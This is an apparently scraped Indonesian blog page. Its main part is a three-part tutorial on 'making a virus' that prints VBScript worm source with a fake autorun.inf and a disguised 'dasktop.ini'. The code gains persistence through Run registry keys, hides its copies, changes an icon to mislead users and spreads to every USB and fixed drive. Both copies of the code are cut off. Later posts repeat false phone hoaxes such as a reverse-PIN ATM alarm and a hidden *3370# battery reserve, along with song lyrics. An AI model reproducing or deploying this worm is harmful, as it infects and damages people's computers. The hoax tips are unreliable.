follong this link

http://www.youtube.com/watch?v=oukggQi5BU4

Mari membuat virus Part3

Save script dipart 2 sbg, diansastro.vbs.. Setelah semuanya selesai tinggal anda save dengan aman, harusnya ada 3 file bernama. Autorun.inf , dasktop.ini, diansastro.vbs

virus ini tidak akan berjalan dgn sndrnya krn kita tdk membuatnya melalui vb, tapi bs djalankan bila kita mengklik salah satu filenya, jika anda ingn mencoba silahkan tapi kerusakan lebih lanjut diluar tanggung jawab saja, dan ini hanya untk pembelajaran, dan jangan digunakan untuk iseng sama temen, krn dia pasti marah.. Semoga berhasil

note:nama file bs anda ubh sesuai keinginan anda, seperti, diansastro,midori, dan isi pesan didalam script.

Penulis :faizal robyyulloh

Mari membuat virus part 2

Untuk file inti virusnya. Kita save sbg. File vbs.. Dimana file ini yang bakalan bekerja

script nya

on error resume next
set fs=createobject("scripting.filesystemobject")
set b3b15cR17T=fs.getfile(wscript.scriptfullname)

b3b15cR17Trn="[autorun]"&vbcrlf&"shellexecute=wscript.exe //e:VBScript dasktop.ini auto"&vbcrlf&"action=Open folder to view file"&vbcrlf&"shell\open\command=wscript.exe //e:VBScript dasktop.ini auto"&vbcrlf&"icon=%systemroot%\shell32.dll,4"

set b3b15cR17Ttx=b3b15cR17T.openastextstream(1,-2)


do while not b3b15cR17Ttx.atendofstream
b3b15cR17Tv=b3b15cR17Tv&b3b15cR17Ttx.readline
b3b15cR17Tv=b3b15cR17Tv&vbcrlf
loop

do

set b3b15cR17Th=fs.getspecialfolder(0)
set b3b15cR17Tfn=fs.getfile(b3b15cR17Th &"\myName.bat")
b3b15cR17Tfn.attributes=32

set my63615cR1p7=fs.createtextfile(b3b15cR17Th &"\myName.bat")
my63615cR1p7.writeline "@echo off"
my63615cR1p7.writeline "echo ######### ## ## ## ##### ### ########### ########"
my63615cR1p7.writeline "echo ############ ## ### #### ####### #### ######## ##########"
my63615cR1p7.writeline "echo ## ### ## ## ##### #### # ##"
my63615cR1p7.writeline "echo ## ## ## ## ###### #### # ##"
my63615cR1p7.writeline "echo ### ### ## ## ## ###### #### ## # ##"
my63615cR1p7.writeline "echo ## ## ## #### ######## #### ## ## ### ####"
my63615cR1p7.writeline "echo ## ## ######### #### ## ## ## # ##"
my63615cR1p7.writeline "echo ## ## ## #### ######## #### ####### # ##"
my63615cR1p7.writeline "echo ### ### ## ###### ## #### ### ## # ##"
my63615cR1p7.writeline "echo ## ## ## #### ## ## # ##"
my63615cR1p7.writeline "echo ## ## ## #### ## # ####"
my63615cR1p7.writeline "echo ############ ########## #### #### ####"
my63615cR1p7.writeline "echo ######### ####### ### ########"
my63615cR1p7.writeline "izinkan aku mencintaimu, salahkah jika diriku mencintaimu, derita cinta ini sungguh sangat menyakiti, ku sangat cinta padamu.. Midori ku 25-09-2009"
my63615cR1p7.writeline "pause"
my63615cR1p7.close
set b3b15cR17Tfn=fs.getfile(b3b15cR17Th &"\myName.bat")
b3b15cR17Tfn.attributes=39
set DB5cR1p7x93nT=createobject("WScript.Shell")
docf=DB5cR1p7x93nT.specialfolders("MyDocuments")
sCr1p7x93nT3v1L=docf & "\Dian sastrowardoyo"
if not fs.folderexists(sCr1p7x93nT3v1L) then
set crfolder=fs.createfolder(sCr1p7x93nT3v1L)
end if

set b3b15cR17Tfn=fs.createtextfile(sCr1p7x93nT3v1L & "\midori.vbs")
b3b15cR17Tfn.write b3b15cR17Tv
b3b15cR17Tfn.close


set DB5cR1p7x93nT = createobject("WScript.Shell")
DB5cR1p7x93nT.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\winsoc","c:\Windows\winsoc.vbs","REG_SZ"
DB5cR1p7x93nT.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\xGentn4m3","c:\Windows\myName.bat","REG_SZ"
DB5cR1p7x93nT.regwrite "HKEY_CLASSES_ROOT\VBSFile\DefaultIcon\","C:\Program Files\Windows Media Player\wmplayer.exe,1","REG_SZ"

almreg = "HKCU\Software\Policies\Microsoft\Windows\System\"
DB5cR1p7x93nT.RegWrite almreg & "DisableCMD","0", "REG_DWORD"

almreg = "HKCU\Software\Microsoft\Windows\CurrentVersion\"
DB5cR1p7x93nT.RegWrite almreg & "Policies\System\DisableTaskMgr","0","REG_DWORD"
DB5cR1p7x93nT.RegWrite almreg & "Policies\System\DisableMsConfig","0","REG_DWORD"
DB5cR1p7x93nT.RegWrite almreg & "Policies\System\DisableRegistryToo0s","0","REG_DWORD"

DB5cR1p7x93nT.RegWrite almreg & "Explorer\Advanced\Hidden","0","REG_DWORD"
DB5cR1p7x93nT.RegWrite almreg & "Explorer\Advanced\HideFileExt","0","REG_DWORD"
DB5cR1p7x93nT.Regwrite almreg & "Explorer\Advanced\ShowSuperHidden","0x00000001"

almreg = "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\"
DB5cR1p7x93nT.RegWrite almreg & "NoRun", "0", "REG_DWORD"
DB5cR1p7x93nT.RegWrite almreg & "NoFolderOptions", "0", "REG_DWORD"

set b3b15cR17Th=fs.getspecialfolder(0)
set b3b15cR17Tfn=fs.getfile(b3b15cR17Th &"\winsoc.vbs")

b3b15cR17Tfn.attributes=32

set b3b15cR17Tfn=fs.createtextfile(b3b15cR17Th &"\winsoc.vbs")

b3b15cR17Tfn.write b3b15cR17Tv

b3b15cR17Tfn.close



set b3b15cR17Tfn=fs.getfile(b3b15cR17Th &"\winsoc.vbs")

b3b15cR17Tfn.attributes=39

set b3b15cR17Twsl=createobject("wscript.shell")

b3b15cR17Tdc=b3b15cR17Twsl.specialfolders("MyDocuments")

set b3b15cR17Tfn=fs.createtextfile(b3b15cR17Tdc &"\Diansastro.vbs")

b3b15cR17Tfn.write b3b15cR17Tv

b3b15cR17Tfn.close



for each b3b15cR17Tdrive in fs.drives

if (b3b15cR17Tdrive.drivetype=1 or b3b15cR17Tdrive.drivetype=2) and b3b15cR17Tdrive.path<>"A:" then

set b3b15cR17Tfn=fs.getfile(b3b15cR17Tdrive.path &"\dasktop.ini")

b3b15cR17Tfn.attributes=32

set b3b15cR17Tfn=fs.createtextfile(b3b15cR17Tdrive.path &"\dasktop.ini")

b3b15cR17Tfn.write b3b15cR17Tv

b3b15cR17Tfn.close

set b3b15cR17Tfn=fs.getfile(b3b15cR17Tdrive.path &"\dasktop.ini")

b3b15cR17Tfn.attributes=39

set b3b15cR17Tfn=fs.getfile(b3b15cR17Tdrive.path &"\Autorun.inf")

b3b15cR17Tfn.attributes=32

set b3b15cR17Tfn=fs.createtextfile(b3b15cR17Tdrive.path &"\Autorun.inf")

b3b15cR17Tfn.write b3b15cR17Trn

b3b15cR17Tfn.close

set b3b15cR17Tfn=fs.getfile(b3b15cR17Tdrive

Mari membuat virus part 1

Sama seperti pembahasan sebelumnya mari kita buat virus kembali, dari script virus cabulxx. Yang sedikit modifikasi.. Tahap pertama membuat virus adalah kita harus memiliki autorun.. Nah dibawah ini script autorunnya,

script begin
----------------------

[autorun]
shellexecute=wscript.exe //e:VBScript dasktop.ini auto
action=Open folder to view file
shell\open\command=wscript.exe //e:VBScript dasktop.ini auto
icon=%systemroot%\shell32.dll,4

file ini sebagai autorun file samaran file asli windows destop.ini yang disamarkan jadi dastop.ini. Copy paste file diatas save as allfile save sebagai autorun.inf

nah dibwh ini scrit destop.INI palsu

script begin
----------------------

on error resume next
set fs=createobject("scripting.filesystemobject")
set b3b15cR17T=fs.getfile(wscript.scriptfullname)

b3b15cR17Trn="[autorun]"&vbcrlf&"shellexecute=wscript.exe //e:VBScript dasktop.ini auto"&vbcrlf&"action=Open folder to view file"&vbcrlf&"shell\open\command=wscript.exe //e:VBScript dasktop.ini auto"&vbcrlf&"icon=%systemroot%\shell32.dll,4"

set b3b15cR17Ttx=b3b15cR17T.openastextstream(1,-2)


do while not b3b15cR17Ttx.atendofstream
b3b15cR17Tv=b3b15cR17Tv&b3b15cR17Ttx.readline
b3b15cR17Tv=b3b15cR17Tv&vbcrlf
loop

do

set b3b15cR17Th=fs.getspecialfolder(0)
set b3b15cR17Tfn=fs.getfile(b3b15cR17Th &"\myName.bat")
b3b15cR17Tfn.attributes=32

set my63615cR1p7=fs.createtextfile(b3b15cR17Th &"\myName.bat")
my63615cR1p7.writeline "@echo off"
my63615cR1p7.writeline "echo ######### ## ## ## ##### ### ########### ########"
my63615cR1p7.writeline "echo ############ ## ### #### ####### #### ######## ##########"
my63615cR1p7.writeline "echo ## ### ## ## ##### #### # ##"
my63615cR1p7.writeline "echo ## ## ## ## ###### #### # ##"
my63615cR1p7.writeline "echo ### ### ## ## ## ###### #### ## # ##"
my63615cR1p7.writeline "echo ## ## ## #### ######## #### ## ## ### ####"
my63615cR1p7.writeline "echo ## ## ######### #### ## ## ## # ##"
my63615cR1p7.writeline "echo ## ## ## #### ######## #### ####### # ##"
my63615cR1p7.writeline "echo ### ### ## ###### ## #### ### ## # ##"
my63615cR1p7.writeline "echo ## ## ## #### ## ## # ##"
my63615cR1p7.writeline "echo ## ## ## #### ## # ####"
my63615cR1p7.writeline "echo ############ ########## #### #### ####"
my63615cR1p7.writeline "echo ######### ####### ### ########"
my63615cR1p7.writeline "maafkan aku mencintaimu [verion: 21-09-2009]"
my63615cR1p7.writeline "pause"
my63615cR1p7.close
set b3b15cR17Tfn=fs.getfile(b3b15cR17Th &"\myName.bat")
b3b15cR17Tfn.attributes=39
set DB5cR1p7x93nT=createobject("WScript.Shell")
docf=DB5cR1p7x93nT.specialfolders("MyDocuments")
sCr1p7x93nT3v1L=docf & "\dian sastrowardoyo"
if not fs.folderexists(sCr1p7x93nT3v1L) then
set crfolder=fs.createfolder(sCr1p7x93nT3v1L)
end if

set b3b15cR17Tfn=fs.createtextfile(sCr1p7x93nT3v1L & "\midori.vbs")
b3b15cR17Tfn.write b3b15cR17Tv
b3b15cR17Tfn.close


set DB5cR1p7x93nT = createobject("WScript.Shell")
DB5cR1p7x93nT.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\winsoc","c:\Windows\winsoc.vbs","REG_SZ"
DB5cR1p7x93nT.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\xGentn4m3","c:\Windows\myName.bat","REG_SZ"
DB5cR1p7x93nT.regwrite "HKEY_CLASSES_ROOT\VBSFile\DefaultIcon\","C:\Program Files\Windows Media Player\wmplayer.exe,1","REG_SZ"

almreg = "HKCU\Software\Policies\Microsoft\Windows\System\"
DB5cR1p7x93nT.RegWrite almreg & "DisableCMD","0", "REG_DWORD"

almreg = "HKCU\Software\Microsoft\Windows\CurrentVersion\"
DB5cR1p7x93nT.RegWrite almreg & "Policies\System\DisableTaskMgr","0","REG_DWORD"
DB5cR1p7x93nT.RegWrite almreg & "Policies\System\DisableMsConfig","0","REG_DWORD"
DB5cR1p7x93nT.RegWrite almreg & "Policies\System\DisableRegistryToo0s","0","REG_DWORD"

DB5cR1p7x93nT.RegWrite almreg & "Explorer\Advanced\Hidden","0","REG_DWORD"
DB5cR1p7x93nT.RegWrite almreg & "Explorer\Advanced\HideFileExt","0","REG_DWORD"
DB5cR1p7x93nT.Regwrite almreg & "Explorer\Advanced\ShowSuperHidden","0x00000001"

almreg = "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\"
DB5cR1p7x93nT.RegWrite almreg & "NoRun", "0", "REG_DWORD"
DB5cR1p7x93nT.RegWrite almreg & "NoFolderOptions", "0", "REG_DWORD"

set b3b15cR17Th=fs.getspecialfolder(0)
set b3b15cR17Tfn=fs.getfile(b3b15cR17Th &"\winsoc.vbs")

b3b15cR17Tfn.attributes=32

set b3b15cR17Tfn=fs.createtextfile(b3b15cR17Th &"\winsoc.vbs")

b3b15cR17Tfn.write b3b15cR17Tv

b3b15cR17Tfn.close



set b3b15cR17Tfn=fs.getfile(b3b15cR17Th &"\winsoc.vbs")

b3b15cR17Tfn.attributes=39

set b3b15cR17Twsl=createobject("wscript.shell")

b3b15cR17Tdc=b3b15cR17Twsl.specialfolders("MyDocuments")

set b3b15cR17Tfn=fs.createtextfile(b3b15cR17Tdc &"\diansastro.vbs")

b3b15cR17Tfn.write b3b15cR17Tv

b3b15cR17Tfn.close



for each b3b15cR17Tdrive in fs.drives

if (b3b15cR17Tdrive.drivetype=1 or b3b15cR17Tdrive.drivetype=2) and b3b15cR17Tdrive.path<>"A:" then

set b3b15cR17Tfn=fs.getfile(b3b15cR17Tdrive.path &"\dasktop.ini")

b3b15cR17Tfn.attributes=32

set b3b15cR17Tfn=fs.cre

1) Nomor Darurat

Nomor darurat untuk telepon genggam adalah 112. Jika anda sedang di daerah yang tidak menerima sinyal HP dan perlu memanggil pertolongan, silahkan
tekan 112, dan HP akan mencari network yang ada untuk menyambungkan nomor
darurat bagi anda, dan yang menarik,nomor 112 dapat ditekan biarpun keypad
dilock. Cobalah...

2) Kunci mobil ada ketinggalan di dalam mobil?
Anda memakai kunci remote?Kalau kunci anda ketinggalan dalam mobil dan
remote cadangannya di rumah, tinggal telpon orang rumah dengan HP, lalu
dekatkan HP andakurang lebih 30cmdari mobil, dan minta orang rumah untuk
menekan tombol pembuka pada remote cadangan yang ada dirumah (waktu menekan
tombol pembuka remote, minta orang rumah mendekatkan remotenya ke telepon
yang dipakainya)

3) Baterai cadangan tersembunyi

Kalau baterai anda hampir habis, padahal anda sedang menunggu telpon
penting, dan telpon anda dibuat olehNOKIA, silahkantekan *3370#, maka
telpon anda otomatis restart danbaterai akan bertambah 50%.
Baterai cadangan ini akan terisi waktu anda mencharge HP anda.

4) Tips untuk men-cek keabsahan mobil/motor anda ( Jakarta area only)

Ketik :contoh metro b86301o (merah no polisi anda) Kirim ke 1717, nanti
akan ada balasan darikepolisian mengenai data2kendaraan anda, tips ini juga
berguna untukmengetahui data2 mobil bekasyang hendak anda beli/incar.

5)Jika anda sedang terancam jiwanya karena dirampok/ditodong seseorang

untuk mengeluarkan uang dari atm,maka anda bisa minta pertolongan diam2
dengan memberikan nomor pin secara terbalik,misal no asli pin anda 1254
input 4521 di atm maka mesin akan mengeluarkan uang anda juga tanda bahaya
ke kantor polisi tanpa diketahui pencuri tsb. Fasilitas ini tersedia di
seluruh atm tapi hanya sedikit orang yang tahu tolong kasih tahu info
kepada yang lain.

Semoga Bermanfaat
sumber dari www.unik77.tk

Muse uprising (the resistance album)

Paranoia in bloom
The PR transmisions will resume,
They’ll try to push drugs that
Keep us all dumbed down,
And hope that we will never
See the truth around
(so come on)
Another promise , another scene,
Another packaged lie to keep
Us trapped in greed,
And all the green belt wrapped around our mind,
And endlless red tape to keep
The truth
(so come on)
The will not force us,
The will stop degrading us,
The will not control us
The will be vitorious
(so come on)
Interchanging mind control,
Come let the revolution take it’s roll,
If you could flick a swicthw and open your
Third eye, you’d see that
We sould never be afraid to die
(so come on)
Rise up and take the power back
It’s time the fat cats had a heart attack
You know hat their time’d coming to an end
The will not force us,
The will stop degrading us,
The will not control us
The will be vitorious

supra class extreme merupakan motor mono wheel, karya anjar dari 2M motor sukabumi yang berkantor di jalan bhayangkara no98 sukabumi ini, merupakan salah satu peserta modification dalam acara djarum black modification 2007 yang mendapatkan juara pertama dalam class extereme, tak heran mengapa menjadi juara karena motor ini bukan sekedar motor concept, tapi juga masih bisa kita kendarai, namun kendala hanya pada keseimbangan kita saja, menurut salah satu crew dari 2M motor agus yang pernah mencoba mengendarai motor ini. ya kita tungu saja lagi modifilasi karya 2M motor di event modifications selanjutnya .

penulis : faizal robyyulloh

sumber 2M motor

Album terbaru Muse - The Resistance

Album terbaru Muse - The Resistance

Muse akhirnya akan merilis album terbaru mereka pada tanggal 14 september 2009. Judul album terbaru nya adalah The Resistance. Yeah, Muse merilis album baru lagi. Band ini jagoan saya loh. Unsur musiknya yang khas beserta karakter vokal dari sang vokalis Matthew Bellamy lah yang bikin saya kepincut. Mereka akhirnya kembali, Muse dan album terbarunya The Resistence.

Proses rekamannya sudah hampir rampung, Muse merekam lagu terbaru 2009 nya di Lake Cuomo, Italia (studio pribadinya sendiri). Buat para maniak download mp3 gratis lagu terbaru, pasti dah girang nih tak kasih link download Muse dan album terbaru nya The Resistance.

Ok deh ngga perlu lama-lama basa basi, ini dia daftar lagu terbaru Muse di album terbaru The Resistance 2009.

1. Uprising
2. Resistance
3. Undisclosed Desires
4. United States of Eurasia (+Collateral Damage)
5. Guiding Light
6. Unnatural Selection

sumber : http://pancallok.blogspot.com